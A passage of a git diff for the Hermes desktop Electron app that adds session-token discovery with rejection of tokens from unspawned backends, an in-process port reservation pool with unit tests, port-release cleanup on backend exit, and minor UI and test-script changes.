||||
cost = response_usage.get("cost")
|
||||
return _finite_nonneg_number(cost)
|
||||
|
||||
|
||||
def real_session_cost_usd(agent: Any) -> Optional[float]:
|
||||
"""Session-cumulative provider-REPORTED cost in USD, or None.
|
||||
|
||||
Combines the two real sources Hermes has — no estimation, ever:
|
||||
- ``agent.session_actual_cost_usd``: per-response ``usage.cost``
|
||||
accumulator (OpenRouter usage accounting).
|
||||
- Nous ``x-nous-credits-*`` header delta via
|
||||
``agent.get_credits_spent_micros()`` (account-level spend since the
|
||||
session first saw a header; clamped at 0 so a mid-session top-up
|
||||
doesn't render a negative cost).
|
||||
|
||||
Returns None when neither source has reported anything — callers must
|
||||
hide their cost display in that case rather than showing $0.00.
|
||||
"""
|
||||
total: Optional[float] = None
|
||||
|
||||
actual = _finite_nonneg_number(getattr(agent, "session_actual_cost_usd", None))
|
||||
if actual is not None:
|
||||
total = actual
|
||||
|
||||
try:
|
||||
spent_micros = agent.get_credits_spent_micros()
|
||||
except Exception:
|
||||
spent_micros = None
|
||||
if spent_micros is not None:
|
||||
try:
|
||||
spent_usd = max(0, int(spent_micros)) / 1_000_000
|
||||
except (TypeError, ValueError):
|
||||
spent_usd = None
|
||||
if spent_usd is not None:
|
||||
total = (total or 0.0) + spent_usd
|
||||
|
||||
return total
|
||||
|
||||
|
||||
def has_known_pricing(
|
||||
model_name: str,
|
||||
provider: Optional[str] = None,
|
||||
|
||||
99
apps/desktop/electron/dashboard-token.cjs
Normal file
@@ -0,0 +1,99 @@
|
||||
/**
|
||||
* Helpers for local dashboard session-token discovery.
|
||||
*
|
||||
* The desktop main process can pass HERMES_DASHBOARD_SESSION_TOKEN when it
|
||||
* spawns the local dashboard, but the dashboard is the source of truth for the
|
||||
* token it actually serves to the renderer. If those drift, HTTP readiness
|
||||
* probes still pass while /api/ws rejects the renderer's token.
|
||||
*/
|
||||
|
||||
const DEFAULT_TOKEN_FETCH_TIMEOUT_MS = 3_000
|
||||
|
||||
async function fetchPublicText(url, options = {}) {
|
||||
const { protocol } = new URL(url)
|
||||
if (protocol !== 'http:' && protocol !== 'https:') {
|
||||
throw new Error(`Unsupported Hermes backend URL protocol: ${protocol}`)
|
||||
}
|
||||
|
||||
const timeoutMs = options.timeoutMs ?? DEFAULT_TOKEN_FETCH_TIMEOUT_MS
|
||||
const res = await fetch(url, { signal: AbortSignal.timeout(timeoutMs) }).catch(error => {
|
||||
if (error.name === 'TimeoutError') {
|
||||
throw new Error(`Timed out connecting to Hermes backend after ${timeoutMs}ms`)
|
||||
}
|
||||
throw error
|
||||
})
|
||||
const text = await res.text()
|
||||
|
||||
if (!res.ok) throw new Error(`${res.status}: ${text || res.statusText}`)
|
||||
|
||||
return text
|
||||
}
|
||||
|
||||
function extractInjectedDashboardToken(html) {
|
||||
const match = /window\.__HERMES_SESSION_TOKEN__\s*=\s*("(?:\\.|[^"\\])*")/.exec(String(html || ''))
|
||||
if (!match) return null
|
||||
try {
|
||||
return JSON.parse(match[1])
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
function dashboardIndexUrl(baseUrl) {
|
||||
return `${String(baseUrl || '').replace(/\/+$/, '')}/`
|
||||
}
|
||||
|
||||
async function resolveServedDashboardToken(baseUrl, fallbackToken, options = {}) {
|
||||
const fetchText = options.fetchText || fetchPublicText
|
||||
const html = await fetchText(dashboardIndexUrl(baseUrl), {
|
||||
timeoutMs: options.timeoutMs ?? DEFAULT_TOKEN_FETCH_TIMEOUT_MS
|
||||
})
|
||||
const servedToken = extractInjectedDashboardToken(html)
|
||||
|
||||
if (servedToken && servedToken !== fallbackToken && typeof options.rememberLog === 'function') {
|
||||
options.rememberLog('[boot] dashboard served a different session token; using served token for WebSocket auth')
|
||||
}
|
||||
|
||||
return servedToken || fallbackToken
|
||||
}
|
||||
|
||||
/**
|
||||
* A served token that differs from our spawn token while our child is DEAD
|
||||
* came from a process we did not spawn (orphan/port squatter that satisfied
|
||||
* the public /api/status readiness probe). With a live child the mismatch is
|
||||
* benign: our own backend regenerated the token because the env pin did not
|
||||
* survive the spawn.
|
||||
*/
|
||||
function isForeignBackendToken({ servedToken, spawnToken, childAlive }) {
|
||||
return Boolean(servedToken) && servedToken !== spawnToken && !childAlive
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve the token the backend actually serves, adopting benign drift and
|
||||
* failing loudly on a foreign backend. `childAlive` is a thunk so liveness is
|
||||
* sampled after the fetch, not before.
|
||||
*/
|
||||
async function adoptServedDashboardToken(baseUrl, spawnToken, { childAlive, label = 'Hermes backend', ...options }) {
|
||||
const servedToken = await resolveServedDashboardToken(baseUrl, spawnToken, options).catch(error => {
|
||||
options.rememberLog?.(`[boot] could not read served dashboard token (${label}): ${error.message}`)
|
||||
return spawnToken
|
||||
})
|
||||
|
||||
if (isForeignBackendToken({ servedToken, spawnToken, childAlive: childAlive() })) {
|
||||
throw new Error(
|
||||
`${label} exited and ${dashboardIndexUrl(baseUrl)} is served by a process we did not spawn; refusing its session token.`
|
||||
)
|
||||
}
|
||||
|
||||
return servedToken
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
DEFAULT_TOKEN_FETCH_TIMEOUT_MS,
|
||||
adoptServedDashboardToken,
|
||||
dashboardIndexUrl,
|
||||
extractInjectedDashboardToken,
|
||||
fetchPublicText,
|
||||
isForeignBackendToken,
|
||||
resolveServedDashboardToken
|
||||
}
|
||||
142
apps/desktop/electron/dashboard-token.test.cjs
Normal file
@@ -0,0 +1,142 @@
|
||||
/**
|
||||
* Tests for electron/dashboard-token.cjs.
|
||||
*
|
||||
* Run with: node --test electron/dashboard-token.test.cjs
|
||||
* (Wired into npm test:desktop:platforms in package.json.)
|
||||
*/
|
||||
|
||||
const test = require('node:test')
|
||||
const assert = require('node:assert/strict')
|
||||
|
||||
const {
|
||||
adoptServedDashboardToken,
|
||||
dashboardIndexUrl,
|
||||
extractInjectedDashboardToken,
|
||||
fetchPublicText,
|
||||
isForeignBackendToken,
|
||||
resolveServedDashboardToken
|
||||
} = require('./dashboard-token.cjs')
|
||||
|
||||
test('extractInjectedDashboardToken reads the JSON-encoded dashboard token', () => {
|
||||
const html = '<script>window.__HERMES_SESSION_TOKEN__="served-token";window.__HERMES_BASE_PATH__=""</script>'
|
||||
assert.equal(extractInjectedDashboardToken(html), 'served-token')
|
||||
})
|
||||
|
||||
test('extractInjectedDashboardToken handles escaped token strings', () => {
|
||||
const html = '<script>window.__HERMES_SESSION_TOKEN__="served\\\\token\\"quoted";</script>'
|
||||
assert.equal(extractInjectedDashboardToken(html), 'served\\token"quoted')
|
||||
})
|
||||
|
||||
test('extractInjectedDashboardToken returns null for missing or malformed values', () => {
|
||||
assert.equal(extractInjectedDashboardToken('<html></html>'), null)
|
||||
assert.equal(extractInjectedDashboardToken('<script>window.__HERMES_SESSION_TOKEN__={bad}</script>'), null)
|
||||
})
|
||||
|
||||
test('dashboardIndexUrl preserves dashboard path prefixes', () => {
|
||||
assert.equal(dashboardIndexUrl('http://127.0.0.1:9120'), 'http://127.0.0.1:9120/')
|
||||
assert.equal(dashboardIndexUrl('https://host.example/hermes/'), 'https://host.example/hermes/')
|
||||
})
|
||||
|
||||
test('resolveServedDashboardToken uses the served token and logs when it differs', async () => {
|
||||
const logs = []
|
||||
const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
fetchText: async url => {
|
||||
assert.equal(url, 'http://127.0.0.1:9120/')
|
||||
return '<script>window.__HERMES_SESSION_TOKEN__="served-token";</script>'
|
||||
},
|
||||
rememberLog: line => logs.push(line)
|
||||
})
|
||||
|
||||
assert.equal(token, 'served-token')
|
||||
assert.equal(logs.length, 1)
|
||||
assert.match(logs[0], /served a different session token/)
|
||||
})
|
||||
|
||||
test('resolveServedDashboardToken falls back when the served HTML has no token', async () => {
|
||||
const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
fetchText: async () => '<html></html>',
|
||||
rememberLog: () => {
|
||||
throw new Error('should not log when no served token is present')
|
||||
}
|
||||
})
|
||||
|
||||
assert.equal(token, 'spawn-token')
|
||||
})
|
||||
|
||||
test('resolveServedDashboardToken does not log when served token matches fallback', async () => {
|
||||
const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'same-token', {
|
||||
fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="same-token";</script>',
|
||||
rememberLog: () => {
|
||||
throw new Error('should not log when token already matches')
|
||||
}
|
||||
})
|
||||
|
||||
assert.equal(token, 'same-token')
|
||||
})
|
||||
|
||||
test('resolveServedDashboardToken propagates fetch errors so callers can fall back explicitly', async () => {
|
||||
await assert.rejects(
|
||||
() =>
|
||||
resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
fetchText: async () => {
|
||||
throw new Error('boom')
|
||||
}
|
||||
}),
|
||||
/boom/
|
||||
)
|
||||
})
|
||||
|
||||
test('fetchPublicText rejects unsupported protocols', async () => {
|
||||
await assert.rejects(() => fetchPublicText('file:///tmp/index.html'), /Unsupported Hermes backend URL protocol/)
|
||||
})
|
||||
|
||||
test('isForeignBackendToken only flags a mismatched token from a dead child', () => {
|
||||
const cases = [
|
||||
[{ servedToken: 'other', spawnToken: 'mine', childAlive: false }, true],
|
||||
// Live child + drift = our backend regenerated the token (env pin lost).
|
||||
[{ servedToken: 'other', spawnToken: 'mine', childAlive: true }, false],
|
||||
[{ servedToken: 'mine', spawnToken: 'mine', childAlive: false }, false],
|
||||
[{ servedToken: 'mine', spawnToken: 'mine', childAlive: true }, false],
|
||||
[{ servedToken: null, spawnToken: 'mine', childAlive: false }, false],
|
||||
[{ servedToken: '', spawnToken: 'mine', childAlive: false }, false]
|
||||
]
|
||||
for (const [input, expected] of cases) {
|
||||
assert.equal(isForeignBackendToken(input), expected, JSON.stringify(input))
|
||||
}
|
||||
})
|
||||
|
||||
test('adoptServedDashboardToken adopts drift from a live child', async () => {
|
||||
const token = await adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
childAlive: () => true,
|
||||
fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="served-token";</script>'
|
||||
})
|
||||
|
||||
assert.equal(token, 'served-token')
|
||||
})
|
||||
|
||||
test('adoptServedDashboardToken refuses a foreign token when our child is dead', async () => {
|
||||
await assert.rejects(
|
||||
() =>
|
||||
adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
childAlive: () => false,
|
||||
fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="squatter-token";</script>',
|
||||
label: 'Hermes backend for profile "work"'
|
||||
}),
|
||||
/profile "work".*process we did not spawn/
|
||||
)
|
||||
})
|
||||
|
||||
test('adoptServedDashboardToken falls back to the spawn token when the fetch fails', async () => {
|
||||
const logs = []
|
||||
const token = await adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
childAlive: () => true,
|
||||
fetchText: async () => {
|
||||
throw new Error('boom')
|
||||
},
|
||||
rememberLog: line => logs.push(line)
|
||||
})
|
||||
|
||||
assert.equal(token, 'spawn-token')
|
||||
assert.equal(logs.length, 1)
|
||||
assert.match(logs[0], /could not read served dashboard token \(Hermes backend\): boom/)
|
||||
})
|
||||
@@ -29,6 +29,8 @@ const { runBootstrap } = require('./bootstrap-runner.cjs')
|
||||
const { buildSessionWindowUrl, createSessionWindowRegistry } = require('./session-windows.cjs')
|
||||
const { canImportHermesCli, verifyHermesCli } = require('./backend-probes.cjs')
|
||||
const { probeGatewayWebSocket } = require('./gateway-ws-probe.cjs')
|
||||
const { adoptServedDashboardToken } = require('./dashboard-token.cjs')
|
||||
const { PortPool } = require('./port-pool.cjs')
|
||||
const { serializeJsonBody, setJsonRequestHeaders } = require('./oauth-net-request.cjs')
|
||||
const { fetchMarketplaceThemes, searchMarketplaceThemes } = require('./vscode-marketplace.cjs')
|
||||
const { readDirForIpc } = require('./fs-read-dir.cjs')
|
||||
@@ -107,6 +109,10 @@ if (USER_DATA_OVERRIDE) {
|
||||
|
||||
const PORT_FLOOR = 9120
|
||||
const PORT_CEILING = 9199
|
||||
// In-process port reservations that close the pickPort() TOCTOU window where
|
||||
// two concurrent backend spawns could be handed the same port. See
|
||||
// port-pool.cjs for the full rationale.
|
||||
const portPool = new PortPool(PORT_FLOOR, PORT_CEILING)
|
||||
const DEV_SERVER = process.env.HERMES_DESKTOP_DEV_SERVER
|
||||
const IS_PACKAGED = app.isPackaged
|
||||
const IS_MAC = process.platform === 'darwin'
|
||||
@@ -2452,10 +2458,11 @@ function isPortAvailable(port) {
|
||||
}
|
||||
|
||||
async function pickPort() {
|
||||
for (let port = PORT_FLOOR; port <= PORT_CEILING; port += 1) {
|
||||
if (await isPortAvailable(port)) return port
|
||||
const port = await portPool.reserve(isPortAvailable)
|
||||
if (port === null) {
|
||||
throw new Error(`No free localhost port in ${PORT_FLOOR}-${PORT_CEILING}`)
|
||||
}
|
||||
throw new Error(`No free localhost port in ${PORT_FLOOR}-${PORT_CEILING}`)
|
||||
return port
|
||||
}
|
||||
|
||||
function fetchJson(url, token, options = {}) {
|
||||
@@ -4539,9 +4546,20 @@ async function spawnPoolBackend(profile, entry) {
|
||||
// --profile wins over the inherited HERMES_HOME env (see _apply_profile_override
|
||||
// step 3 in hermes_cli/main.py), so the child re-homes to this profile.
|
||||
const dashboardArgs = ['--profile', profile, 'dashboard', '--no-open', '--host', '127.0.0.1', '--port', String(port)]
|
||||
const backend = await ensureRuntime(resolveHermesBackend(dashboardArgs))
|
||||
const hermesCwd = resolveHermesCwd()
|
||||
const webDist = resolveWebDist()
|
||||
let backend
|
||||
let hermesCwd
|
||||
let webDist
|
||||
try {
|
||||
backend = await ensureRuntime(resolveHermesBackend(dashboardArgs))
|
||||
hermesCwd = resolveHermesCwd()
|
||||
webDist = resolveWebDist()
|
||||
} catch (error) {
|
||||
// These run before the child exists / its exit handler is attached, so a
|
||||
// throw here would otherwise leak the reservation and slowly exhaust the
|
||||
// 9120-9199 range across switch cycles in one app session.
|
||||
portPool.release(port)
|
||||
throw error
|
||||
}
|
||||
|
||||
rememberLog(`Starting Hermes backend for profile "${profile}" via ${backend.label}`)
|
||||
|
||||
@@ -4579,11 +4597,13 @@ async function spawnPoolBackend(profile, entry) {
|
||||
child.once('error', error => {
|
||||
rememberLog(`Hermes backend for profile "${profile}" failed to start: ${error.message}`)
|
||||
backendPool.delete(profile)
|
||||
portPool.release(port)
|
||||
rejectStart?.(error)
|
||||
})
|
||||
child.once('exit', (code, signal) => {
|
||||
rememberLog(`Hermes backend for profile "${profile}" exited (${signal || code})`)
|
||||
backendPool.delete(profile)
|
||||
portPool.release(port)
|
||||
if (!ready) {
|
||||
rejectStart?.(
|
||||
new Error(`Hermes backend for profile "${profile}" exited before it became ready (${signal || code}).`)
|
||||
@@ -4594,15 +4614,21 @@ async function spawnPoolBackend(profile, entry) {
|
||||
const baseUrl = `http://127.0.0.1:${port}`
|
||||
await Promise.race([waitForHermes(baseUrl, token), startFailed])
|
||||
ready = true
|
||||
const authToken = await adoptServedDashboardToken(baseUrl, token, {
|
||||
childAlive: () => child.exitCode === null && !child.killed,
|
||||
label: `Hermes backend for profile "${profile}"`,
|
||||
rememberLog
|
||||
})
|
||||
entry.token = authToken
|
||||
|
||||
return {
|
||||
baseUrl,
|
||||
mode: 'local',
|
||||
source: 'local',
|
||||
authMode: 'token',
|
||||
token,
|
||||
token: authToken,
|
||||
profile,
|
||||
wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(token)}`,
|
||||
wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(authToken)}`,
|
||||
logs: hermesLog.slice(-80),
|
||||
...getWindowState()
|
||||
}
|
||||
@@ -4612,6 +4638,7 @@ function stopPoolBackend(profile) {
|
||||
const entry = backendPool.get(profile)
|
||||
if (!entry) return
|
||||
backendPool.delete(profile)
|
||||
if (entry.port) portPool.release(entry.port)
|
||||
if (entry.process && !entry.process.killed) {
|
||||
try {
|
||||
entry.process.kill('SIGTERM')
|
||||
@@ -4697,6 +4724,11 @@ async function startHermes() {
|
||||
}
|
||||
if (connectionPromise) return connectionPromise
|
||||
|
||||
// Hoisted so the outer .catch can release a port reserved by pickPort() when
|
||||
// a throw (e.g. ensureRuntime failing) happens before the child's exit
|
||||
// handler is attached. Stays null on the remote path (no port picked).
|
||||
let reservedPort = null
|
||||
|
||||
connectionPromise = (async () => {
|
||||
await advanceBootProgress('backend.resolve', 'Resolving Hermes backend', 8)
|
||||
// Resolve for the desktop's primary profile so a per-profile remote
|
||||
@@ -4726,6 +4758,7 @@ async function startHermes() {
|
||||
|
||||
await advanceBootProgress('backend.port', 'Finding an open local port', 16)
|
||||
const port = await pickPort()
|
||||
reservedPort = port
|
||||
const token = crypto.randomBytes(32).toString('base64url')
|
||||
const dashboardArgs = ['dashboard', '--no-open', '--host', '127.0.0.1', '--port', String(port)]
|
||||
// Pin the desktop's chosen profile via the global --profile flag. This is
|
||||
@@ -4790,6 +4823,7 @@ async function startHermes() {
|
||||
)
|
||||
hermesProcess = null
|
||||
connectionPromise = null
|
||||
portPool.release(port)
|
||||
sendBackendExit({ code: null, signal: null, error: error.message })
|
||||
rejectBackendStart?.(error)
|
||||
})
|
||||
@@ -4797,6 +4831,7 @@ async function startHermes() {
|
||||
rememberLog(`Hermes backend exited (${signal || code})`)
|
||||
hermesProcess = null
|
||||
connectionPromise = null
|
||||
portPool.release(port)
|
||||
sendBackendExit({ code, signal })
|
||||
if (!backendReady) {
|
||||
const message = `Hermes backend exited before it became ready (${signal || code}).`
|
||||
@@ -4821,6 +4856,11 @@ async function startHermes() {
|
||||
await advanceBootProgress('backend.wait', 'Waiting for Hermes backend to become ready', 90)
|
||||
await Promise.race([waitForHermes(baseUrl, token), backendStartFailed])
|
||||
backendReady = true
|
||||
const authToken = await adoptServedDashboardToken(baseUrl, token, {
|
||||
// The exit/error handlers null hermesProcess when the child dies.
|
||||
childAlive: () => hermesProcess !== null && hermesProcess.exitCode === null && !hermesProcess.killed,
|
||||
rememberLog
|
||||
})
|
||||
updateBootProgress({
|
||||
phase: 'backend.ready',
|
||||
message: 'Hermes backend is ready. Finalizing desktop startup',
|
||||
@@ -4834,8 +4874,8 @@ async function startHermes() {
|
||||
mode: 'local',
|
||||
source: 'local',
|
||||
authMode: 'token',
|
||||
token,
|
||||
wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(token)}`,
|
||||
token: authToken,
|
||||
wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(authToken)}`,
|
||||
logs: hermesLog.slice(-80),
|
||||
...getWindowState()
|
||||
}
|
||||
@@ -4851,6 +4891,7 @@ async function startHermes() {
|
||||
{ allowDecrease: true }
|
||||
)
|
||||
connectionPromise = null
|
||||
portPool.release(reservedPort)
|
||||
throw error
|
||||
})
|
||||
|
||||
@@ -5125,8 +5166,8 @@ ipcMain.handle('hermes:bootstrap:reset', async () => {
|
||||
// reset connection state so the next startHermes() call restarts the
|
||||
// full backend flow (including a fresh runBootstrap pass).
|
||||
rememberLog('[bootstrap] reset requested by renderer; clearing latched failure')
|
||||
await teardownPrimaryBackendAndWait()
|
||||
bootstrapFailure = null
|
||||
connectionPromise = null
|
||||
bootstrapState = {
|
||||
active: false,
|
||||
manifest: null,
|
||||
|
||||
73
apps/desktop/electron/port-pool.cjs
Normal file
@@ -0,0 +1,73 @@
|
||||
'use strict'
|
||||
|
||||
/**
|
||||
* In-process port reservation pool for the desktop backend launcher.
|
||||
*
|
||||
* pickPort() probes a localhost port with a throwaway server and closes it
|
||||
* before the real bind happens in a separate Python child. Between that probe
|
||||
* and the child's bind there is a TOCTOU window: a second concurrent spawn
|
||||
* (the primary backend racing a pool backend) can be handed the SAME port, and
|
||||
* one then dies with EADDRINUSE ("address already in use" -> "Object has been
|
||||
* destroyed" boot loop). Reserving the chosen port in THIS process until the
|
||||
* child exits closes that window.
|
||||
*
|
||||
* The OS bind remains the source of truth; this only deconflicts racers inside
|
||||
* this process — it can't stop a foreign squatter, which the probe + the
|
||||
* EADDRINUSE self-heal still cover.
|
||||
*
|
||||
* The pool is dependency-injected (the availability probe is passed in) and
|
||||
* free of Electron/Node socket I/O, so it is unit-tested without real sockets
|
||||
* (see port-pool.test.cjs).
|
||||
*/
|
||||
class PortPool {
|
||||
/**
|
||||
* @param {number} floor inclusive lowest port to hand out
|
||||
* @param {number} ceiling inclusive highest port to hand out
|
||||
*/
|
||||
constructor(floor, ceiling) {
|
||||
this.floor = floor
|
||||
this.ceiling = ceiling
|
||||
this._reserved = new Set()
|
||||
}
|
||||
|
||||
/** @returns {boolean} whether `port` is currently reserved in-process. */
|
||||
has(port) {
|
||||
return this._reserved.has(port)
|
||||
}
|
||||
|
||||
/** Release a previously reserved port. No-op if it was not reserved. */
|
||||
release(port) {
|
||||
this._reserved.delete(port)
|
||||
}
|
||||
|
||||
/** Drop all reservations. */
|
||||
clear() {
|
||||
this._reserved.clear()
|
||||
}
|
||||
|
||||
/** @returns {number} count of currently reserved ports. */
|
||||
get size() {
|
||||
return this._reserved.size
|
||||
}
|
||||
|
||||
/**
|
||||
* Reserve and return the lowest port in [floor, ceiling] that is neither
|
||||
* already reserved in-process nor rejected by `isAvailable(port)`, or null
|
||||
* if every port is taken. `isAvailable` may be sync (boolean) or async
|
||||
* (Promise<boolean>); it is awaited either way.
|
||||
*
|
||||
* @param {(port: number) => boolean | Promise<boolean>} isAvailable
|
||||
* @returns {Promise<number|null>}
|
||||
*/
|
||||
async reserve(isAvailable) {
|
||||
for (let port = this.floor; port <= this.ceiling; port += 1) {
|
||||
if (this._reserved.has(port)) continue
|
||||
if (!(await isAvailable(port))) continue
|
||||
this._reserved.add(port)
|
||||
return port
|
||||
}
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { PortPool }
|
||||
77
apps/desktop/electron/port-pool.test.cjs
Normal file
@@ -0,0 +1,77 @@
|
||||
/**
|
||||
* Tests for electron/port-pool.cjs.
|
||||
*
|
||||
* Run with: node --test electron/port-pool.test.cjs
|
||||
*
|
||||
* PortPool is the in-process reservation that closes the pickPort() TOCTOU
|
||||
* window. These cover selection order, skipping reserved/unavailable ports,
|
||||
* release/reuse, exhaustion, and async probes — without real sockets.
|
||||
*/
|
||||
|
||||
const test = require('node:test')
|
||||
const assert = require('node:assert/strict')
|
||||
|
||||
const { PortPool } = require('./port-pool.cjs')
|
||||
|
||||
const allFree = () => true
|
||||
|
||||
test('reserve returns the lowest free port and reserves it', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
const port = await pool.reserve(allFree)
|
||||
assert.equal(port, 9120)
|
||||
assert.ok(pool.has(9120))
|
||||
assert.equal(pool.size, 1)
|
||||
})
|
||||
|
||||
test('reserve skips ports already reserved in-process', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
const first = await pool.reserve(allFree)
|
||||
const second = await pool.reserve(allFree)
|
||||
assert.equal(first, 9120)
|
||||
assert.equal(second, 9121)
|
||||
})
|
||||
|
||||
test('reserve skips ports the probe rejects', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
const busy = new Set([9120, 9121])
|
||||
const port = await pool.reserve(p => !busy.has(p))
|
||||
assert.equal(port, 9122)
|
||||
})
|
||||
|
||||
test('reserve returns null when every port is taken', async () => {
|
||||
const pool = new PortPool(9120, 9121)
|
||||
await pool.reserve(allFree)
|
||||
await pool.reserve(allFree)
|
||||
assert.equal(await pool.reserve(allFree), null)
|
||||
})
|
||||
|
||||
test('release frees a reserved port for reuse', async () => {
|
||||
const pool = new PortPool(9120, 9120)
|
||||
assert.equal(await pool.reserve(allFree), 9120)
|
||||
assert.equal(await pool.reserve(allFree), null) // exhausted
|
||||
pool.release(9120)
|
||||
assert.ok(!pool.has(9120))
|
||||
assert.equal(await pool.reserve(allFree), 9120) // reusable
|
||||
})
|
||||
|
||||
test('release is a no-op for an unreserved port', () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
pool.release(9120)
|
||||
assert.equal(pool.size, 0)
|
||||
})
|
||||
|
||||
test('reserve awaits an async probe', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
const busy = new Set([9120])
|
||||
const port = await pool.reserve(p => Promise.resolve(!busy.has(p)))
|
||||
assert.equal(port, 9121)
|
||||
})
|
||||
|
||||
test('clear drops all reservations', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
await pool.reserve(allFree)
|
||||
await pool.reserve(allFree)
|
||||
assert.equal(pool.size, 2)
|
||||
pool.clear()
|
||||
assert.equal(pool.size, 0)
|
||||
})
|
||||
@@ -8,7 +8,7 @@ const path = require('node:path')
|
||||
const ELECTRON_DIR = __dirname
|
||||
|
||||
function readElectronFile(name) {
|
||||
return fs.readFileSync(path.join(ELECTRON_DIR, name), 'utf8')
|
||||
return fs.readFileSync(path.join(ELECTRON_DIR, name), 'utf8').replace(/\r\n/g, '\n')
|
||||
}
|
||||
|
||||
function requireHiddenChildOptions(source, needle) {
|
||||
|
||||
@@ -35,7 +35,7 @@
|
||||
"test:desktop:nsis": "node scripts/test-desktop.mjs nsis",
|
||||
"test:desktop:existing": "node scripts/test-desktop.mjs existing",
|
||||
"test:desktop:fresh": "node scripts/test-desktop.mjs fresh",
|
||||
"test:desktop:platforms": "node --test electron/bootstrap-platform.test.cjs electron/hardening.test.cjs electron/backend-probes.test.cjs electron/bootstrap-runner.test.cjs electron/connection-config.test.cjs electron/gateway-ws-probe.test.cjs electron/oauth-net-request.test.cjs electron/desktop-uninstall.test.cjs electron/session-windows.test.cjs electron/workspace-cwd.test.cjs electron/fs-read-dir.test.cjs electron/git-root.test.cjs electron/windows-child-process.test.cjs electron/update-remote.test.cjs",
|
||||
"test:desktop:platforms": "node --test electron/bootstrap-platform.test.cjs electron/hardening.test.cjs electron/backend-probes.test.cjs electron/bootstrap-runner.test.cjs electron/connection-config.test.cjs electron/dashboard-token.test.cjs electron/gateway-ws-probe.test.cjs electron/oauth-net-request.test.cjs electron/desktop-uninstall.test.cjs electron/port-pool.test.cjs electron/session-windows.test.cjs electron/workspace-cwd.test.cjs electron/fs-read-dir.test.cjs electron/git-root.test.cjs electron/windows-child-process.test.cjs electron/update-remote.test.cjs",
|
||||
"typecheck": "tsc -p . --noEmit",
|
||||
"lint": "eslint src/ electron/",
|
||||
"lint:fix": "eslint src/ electron/ --fix",
|
||||
@@ -105,7 +105,7 @@
|
||||
"@testing-library/dom": "^10.4.0",
|
||||
"@testing-library/react": "^16.3.2",
|
||||
"@types/hast": "^3.0.4",
|
||||
"@types/node": "^24.12.0",
|
||||
"@types/node": "^24.13.2",
|
||||
"@types/react": "^19.2.14",
|
||||
"@types/react-dom": "^19.2.3",
|
||||
"@typescript-eslint/eslint-plugin": "^8.59.1",
|
||||
|
||||
@@ -18,7 +18,7 @@ import {
|
||||
} from '@/components/ui/pagination'
|
||||
import { TextTab, TextTabMeta } from '@/components/ui/text-tab'
|
||||
import { Tip } from '@/components/ui/tooltip'
|
||||
import { getSessionMessages, listSessions } from '@/hermes'
|
||||
import { getSessionMessages, listAllProfileSessions } from '@/hermes'
|
||||
import { type Translations, useI18n } from '@/i18n'
|
||||
import { sessionTitle } from '@/lib/chat-runtime'
|
||||
import { ExternalLink, ExternalLinkIcon, hostPathLabel, urlSlugTitleLabel, useLinkTitle } from '@/lib/external-link'
|
||||
@@ -388,8 +388,8 @@ export function ArtifactsView({ setStatusbarItemGroup: _setStatusbarItemGroup, .
|
||||
setRefreshing(true)
|
||||
|
||||
try {
|
||||
const sessions = (await listSessions(30, 1)).sessions
|
||||
const results = await Promise.allSettled(sessions.map(session => getSessionMessages(session.id)))
|
||||
const sessions = (await listAllProfileSessions(30, 1)).sessions
|
||||
const results = await Promise.allSettled(sessions.map(session => getSessionMessages(session.id, session.profile)))
|
||||
const nextArtifacts: ArtifactRecord[] = []
|
||||
|
||||
results.forEach((result, index) => {
|
||||
|
||||
@@ -287,7 +287,7 @@ const MARKDOWN_COMPONENTS = {
|
||||
|
||||
function MarkdownPreview({ text }: { text: string }) {
|
||||
return (
|
||||
<div className="preview-markdown mx-auto max-w-3xl px-4 py-3 text-sm text-foreground">
|
||||
<div className="preview-markdown mx-auto max-w-3xl px-4 py-3 text-sm text-foreground" data-selectable-text="true">
|
||||
<Streamdown components={MARKDOWN_COMPONENTS} controls={false} mode="static" parseIncompleteMarkdown={false}>
|
||||
{text}
|
||||
</Streamdown>
|
||||
@@ -383,7 +383,10 @@ function SourceView({ filePath, language, text }: { filePath: string; language:
|
||||
)
|
||||
})}
|
||||
</div>
|
||||
<div className="relative [&_pre]:m-0 [&_pre]:px-3 [&_pre]:py-3 [&_pre]:bg-transparent!">
|
||||
<div
|
||||
className="relative [&_pre]:m-0 [&_pre]:px-3 [&_pre]:py-3 [&_pre]:bg-transparent!"
|
||||
data-selectable-text="true"
|
||||
>
|
||||
{selection && (
|
||||
<div
|
||||
aria-hidden
|
||||
|
||||
@@ -797,7 +797,14 @@ export function ChatSidebar({
|
||||
<SidebarMenuButton
|
||||
aria-disabled={!isInteractive}
|
||||
className={cn(
|
||||
'flex h-7 w-full justify-start gap-2 rounded-md border border-transparent px-2 text-left text-[0.8125rem] font-medium text-(--ui-text-secondary) transition-colors duration-100 ease-out hover:bg-(--ui-control-hover-background) hover:text-foreground hover:transition-none',
|
||||
// no-drag: these rows sit directly under the titlebar's
|
||||
// [-webkit-app-region:drag] strips (app-shell.tsx), with only
|
||||
// 6px of clearance. Drag regions win hit-testing over DOM
|
||||
// (pointer-events can't override), and on Linux/WSLg the
|
||||
// resolved region has been observed to swallow clicks on the
